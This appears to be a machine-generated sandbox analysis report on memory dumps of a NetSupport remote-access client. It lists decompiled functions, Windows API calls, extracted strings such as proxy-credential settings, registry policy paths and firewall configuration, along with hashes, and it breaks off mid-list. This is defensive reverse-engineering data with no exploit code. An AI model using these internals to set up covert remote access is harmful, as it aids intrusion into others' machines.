Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s:%s$*GatewayAddress$*PINServer$*UseWebProxy$*WebProxy$:%d$Gateway$Gateway_UseWebProxy$Gateway_WebProxy$P$PinProxy$ProxyCred$ProxyPassword$ProxyUsername$UsePinProxy$client247$r<Zh
API String ID: 2111968516-3873424096
Opcode ID: 5681b0e9510a602a87d8b9d493e70a331f209f5027bf97fd1cecacb1d035b689
Instruction ID: 33063267e8ada4de353dc1dea75aee9a45cf1d88fb422f9f4f127c992a54f939
Opcode Fuzzy Hash: 5681b0e9510a602a87d8b9d493e70a331f209f5027bf97fd1cecacb1d035b689
Instruction Fuzzy Hash: 3D2272B6A00368AFDF21CF68CCC0EEEB7B9AB4A204F8485D9E559A7540D6315F84CF51

Function 11030444 Relevance: 28.4, APIs: 11, Strings: 5, Instructions: 357libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 11030450
GetProcAddress.KERNEL32(00000000), ref: 11030457
GetNativeSystemInfo.KERNEL32(?), ref: 11030465
GetStockObject.GDI32(0000000D), ref: 11030672
GetObjectA.GDI32(00000000,0000003C,?), ref: 11030682
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 110306C0
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 110306C6
InterlockedExchange.KERNEL32(021B8D58,00001388), ref: 11030746
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 11030778

Strings

pcicl32, xrefs: 11030851
.%d, xrefs: 11030782
kernel32.dll, xrefs: 11030449
GetNativeSystemInfo, xrefs: 11030444
Error %s unloading audiocap dll, xrefs: 1103098F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$AddressExchangeHandleInfoInterlockedModuleNativeProcStockSystem
String ID: .%d$Error %s unloading audiocap dll$GetNativeSystemInfo$kernel32.dll$pcicl32
API String ID: 711497182-3782231422
Opcode ID: 106fb8bc483957a45cfa904f75695c57fc0a23e7e1dbb6dc441bbb2ace021997
Instruction ID: f63cb038d00ac44cf3594e94df0c2f2de2f1e5b42f8671348dba24db1a15b590
Opcode Fuzzy Hash: 106fb8bc483957a45cfa904f75695c57fc0a23e7e1dbb6dc441bbb2ace021997
Instruction Fuzzy Hash: 59D172B0D16369DEDF02CBB48C447EDBEF5AB8430CF1001A6D849A7289F7755A84CB92

Function 110302A9 Relevance: 28.4, APIs: 9, Strings: 7, Instructions: 350registryCOMMON

Download Yara Rule

APIs

Part of subcall function 1113F670: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,?,75BF8400,?,?,111417CF,00000000,CSDVersion,00000000,00000000,?), ref: 1113F690

RegCloseKey.KERNEL32(?), ref: 110303C3
GetStockObject.GDI32(0000000D), ref: 11030672
GetObjectA.GDI32(00000000,0000003C,?), ref: 11030682
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 110306C0
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 110306C6
InterlockedExchange.KERNEL32(021B8D58,00001388), ref: 11030746
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 11030778

Part of subcall function 111601FD: __isdigit_l.LIBCMT ref: 11160222

Strings

pcicl32, xrefs: 11030851
.%d, xrefs: 11030782
CurrentMajorVersionNumber, xrefs: 11030359
CurrentVersion, xrefs: 110302BC
CurrentMinorVersionNumber, xrefs: 1103038C
Error %s unloading audiocap dll, xrefs: 1103098F
3, xrefs: 110303F2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$CloseExchangeInterlockedQueryStockValue__isdigit_l
String ID: .%d$3$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$Error %s unloading audiocap dll$pcicl32
API String ID: 3298063328-2190704750
Opcode ID: 0368fc6ba5d118a56a23de13d07dfbd221bb1150da24c248aa16321da6633758
Instruction ID: 9f43229105984b1126c86cbd82377d9c7f2924e853b9011d381d79a7883068f9
Opcode Fuzzy Hash: 0368fc6ba5d118a56a23de13d07dfbd221bb1150da24c248aa16321da6633758
Instruction Fuzzy Hash: E0D1F8B0D163599FEB11CBA48C84BAEFBF5AB8430CF1041E9D449A7288FB715A44CB52

Function 11084F50 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,DC70C1FE,02646E50,02646E40,?,00000000,1117ED9C,000000FF,?,11031392,02646E50,00000000,?,?,?), ref: 11084F85

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

Part of subcall function 1110C520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1110D1BD,00000000,00000001,?,?,?,000000FF,?,11026F57), ref: 1110C53E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 11084FAB
GetProcAddress.KERNEL32(00000000,Cancel), ref: 11084FBF
GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11084FD3
wsprintfA.USER32 ref: 1108505B
wsprintfA.USER32 ref: 11085072
wsprintfA.USER32 ref: 11085089
CloseHandle.KERNEL32(00000000,11084DB0,00000001,00000000), ref: 110851DA

Part of subcall function 11084BC0: CloseHandle.KERNEL32(?,74DEF550,?,?,11085200,?,11031392,02646E50,00000000,?,?,?), ref: 11084BD8
Part of subcall function 11084BC0: CloseHandle.KERNEL32(?,74DEF550,?,?,11085200,?,11031392,02646E50,00000000,?,?,?), ref: 11084BEB
Part of subcall function 11084BC0: CloseHandle.KERNEL32(?,74DEF550,?,?,11085200,?,11031392,02646E50,00000000,?,?,?), ref: 11084BFE
Part of subcall function 11084BC0: FreeLibrary.KERNEL32(00000000,74DEF550,?,?,11085200,?,11031392,02646E50,00000000,?,?,?), ref: 11084C11

Strings

%s_SW.%s, xrefs: 1108506C
%s_HW.%s, xrefs: 11085052
PCIINV.DLL, xrefs: 11084F80
Cancel, xrefs: 11084FB9
GetInventoryEx, xrefs: 11084FC7
GetInventory, xrefs: 11084FA5
%s_HF.%s, xrefs: 11085083

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 3281479988-2492245516
Opcode ID: 31bc0f0ac908e73c9262357e0f29979773ffb83f4654f2e723ad6fc38f51b4df
Instruction ID: 32114b85bd35150ab9ff672105bee8b4aca5606f1db728b838d963d94260b1c4
Opcode Fuzzy Hash: 31bc0f0ac908e73c9262357e0f29979773ffb83f4654f2e723ad6fc38f51b4df
Instruction Fuzzy Hash: 8271B1B5E0470AABEB11CF79CC45BDAFBE5EB48304F10456AE95AD72C0EB71A500CB91

Function 1102FF34 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 176synchronizationlibraryloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,?,PCIMutex), ref: 11030073
CreateMutexA.KERNEL32(00000000,00000000,PCIMutex,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1103008C
GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 11030109
SetLastError.KERNEL32(00000078,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1103011F
WaitForSingleObject.KERNEL32(?,000001F4,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1103014E
CloseHandle.KERNEL32(?,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1103015B
FreeLibrary.KERNEL32(?,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 11030166
CloseHandle.KERNEL32(00000000,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1103016D

Strings

_debug\tracefile, xrefs: 1102FFDB
/247, xrefs: 11030098
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 1102FFB0
PCIMutex, xrefs: 11030064, 11030083
istaUI, xrefs: 1102FF8F
SetProcessDPIAware, xrefs: 11030103
_debug\trace, xrefs: 1102FFCA

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandleMutex$AddressCreateErrorFreeLastLibraryObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$_debug\trace$_debug\tracefile$istaUI
API String ID: 2061479752-1320826866
Opcode ID: de79c64c3cbc319c321437111ac499bab6d77cae53018e637abb465631a425fd
Instruction ID: 54878425dae39cfb29a1127824abcf245d41d7cdbe78275a25fd6106d4eefb26
Opcode Fuzzy Hash: de79c64c3cbc319c321437111ac499bab6d77cae53018e637abb465631a425fd
Instruction Fuzzy Hash: 1851FB74E1131B9FDB11DB61CC88B9EF7B49F84709F1044A8E919A3285FF706A40CB62

Function 11027E10 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 130librarysynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000102), ref: 11027E61

Part of subcall function 11080BE0: _strrchr.LIBCMT ref: 11080BEE

wsprintfA.USER32 ref: 11027E84
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11027EC9
GetExitCodeProcess.KERNEL32(?,?), ref: 11027EDD
wsprintfA.USER32 ref: 11027F01
CloseHandle.KERNEL32(?), ref: 11027F17
CloseHandle.KERNEL32(?), ref: 11027F20
LoadLibraryExA.KERNEL32(?,00000000,00000002), ref: 11027F81
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 11027F95

Strings

pcicl32_res.dll, xrefs: 11027F59
Setting resource langid=%d, xrefs: 11027F41
Locales\%d\, xrefs: 11027EF1
SetClientResLang called, gPlatform %x, xrefs: 11027E2C
", xrefs: 11027E5A
\GetUserLang.exe", xrefs: 11027E7E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CloseModulewsprintf$CodeExitFileLibraryLoadNameObjectProcessSingleWait_strrchr
String ID: "$Locales\%d\$SetClientResLang called, gPlatform %x$Setting resource langid=%d$\GetUserLang.exe"$pcicl32_res.dll
API String ID: 512045693-1744591295
Opcode ID: 0c549729b7108691d0ef4b476a02272bb4edcc2e78ff917f042e0d38bced481d
Instruction ID: 42811afe57253d3bd896070464278dee24b8baf42e1d510c4721ed0fe76631d9
Opcode Fuzzy Hash: 0c549729b7108691d0ef4b476a02272bb4edcc2e78ff917f042e0d38bced481d
Instruction Fuzzy Hash: 7A41E874E04229ABD710CF69CCC5FEAF7B9EB44708F4081A9F95997244DBB0A940CFA0

Function 1102C030 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C340: SetEvent.KERNEL32(00000000), ref: 1110C364

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C075
GetTickCount.KERNEL32 ref: 1102C09A

Part of subcall function 110CE440: __strdup.LIBCMT ref: 110CE45A

GetTickCount.KERNEL32 ref: 1102C194

Part of subcall function 110CF0A0: wvsprintfA.USER32(?,?,1102C131), ref: 110CF0CB

Part of subcall function 110CE4F0: _free.LIBCMT ref: 110CE51D

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C28C
CloseHandle.KERNEL32(?), ref: 1102C2A8

Strings

http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102C0B5
GetLatLong=%s, took %d ms, xrefs: 1102C1B1
GeoIP, xrefs: 1102C0E3
LatLong, xrefs: 1102C058, 1102C145
IsA(), xrefs: 1102C2DE, 1102C2F2, 1102C306, 1102C31A
?IP=%s, xrefs: 1102C126
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102C2D9, 1102C2ED, 1102C301, 1102C315
_debug, xrefs: 1102C0E8, 1102C14A

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-1725438197
Opcode ID: 9b28a0c5fe058d41c17dc5cbf4775d5046d0febd8a8561296b22eecfd3096bab
Instruction ID: 3aa9c337b4ddfc5cec58a31574b691e2179c4186c787a947626ae142730ffe10
Opcode Fuzzy Hash: 9b28a0c5fe058d41c17dc5cbf4775d5046d0febd8a8561296b22eecfd3096bab
Instruction Fuzzy Hash: FD81A534E0015A9BDB04DBE4CD90FEDF7B5AF45708F508698E92567281DF34BA09CB61

Function 11060CA0 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,?,?,00000001), ref: 11060CFA

Part of subcall function 110606E0: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1106071C
Part of subcall function 110606E0: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 11060774

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 11060D4B
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 11060E05
RegCloseKey.ADVAPI32(?), ref: 11060E21

Strings

Software\Policies\NetSupport\Client\Standard, xrefs: 11060D0D
Client.%04d.%s, xrefs: 11060D87
Software\Policies\NetSupport\Client, xrefs: 11060CF4
%s\%s\%s\, xrefs: 11060DA4
Software\Policies\NetSupport, xrefs: 11060D9F
DisableUserPolicies, xrefs: 11060E33
Standard, xrefs: 11060D66
Client, xrefs: 11060D08, 11060E38
Client, xrefs: 11060D9A

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
API String ID: 2823542970-1528906934
Opcode ID: b877e26e7d009999af9ff80ad30fe88221b222cadef016393b27e04480797841
Instruction ID: 58f2a140e2c2e5d4e6e19389d5fc2da1bb8dcdaa9b5c120dc596b7fa4edf654c
Opcode Fuzzy Hash: b877e26e7d009999af9ff80ad30fe88221b222cadef016393b27e04480797841
Instruction Fuzzy Hash: 834172B5E4022DABE721CB11CC81FEEF7BCEB54708F1041D9E658A6140DAB06E81CFA5

Function 11134AC0 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

GetTickCount.KERNEL32 ref: 11134B22

Part of subcall function 11095C90: CoInitialize.OLE32(00000000), ref: 11095CA4
Part of subcall function 11095C90: CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,11134B2B), ref: 11095CBE
Part of subcall function 11095C90: CoCreateInstance.OLE32(?,00000000,00000001,111BBFCC,?,?,?,?,?,?,?,11134B2B), ref: 11095CDB
Part of subcall function 11095C90: CoUninitialize.OLE32(?,?,?,?,?,?,11134B2B), ref: 11095CF9

GetTickCount.KERNEL32 ref: 11134B31
_memset.LIBCMT ref: 11134B73
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 11134B89
_strrchr.LIBCMT ref: 11134B98
_free.LIBCMT ref: 11134BEA

Strings

No ICF present, xrefs: 11134C22
IsICFPresent..., xrefs: 11134B0F
IsICFPresent() took %d ms, xrefs: 11134B3D
*AutoICFConfig, xrefs: 11134AF7
ICFConfig2 returned 0x%x, xrefs: 11134BF0
Client, xrefs: 11134AFC
ICFConfig, xrefs: 11134AD5

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
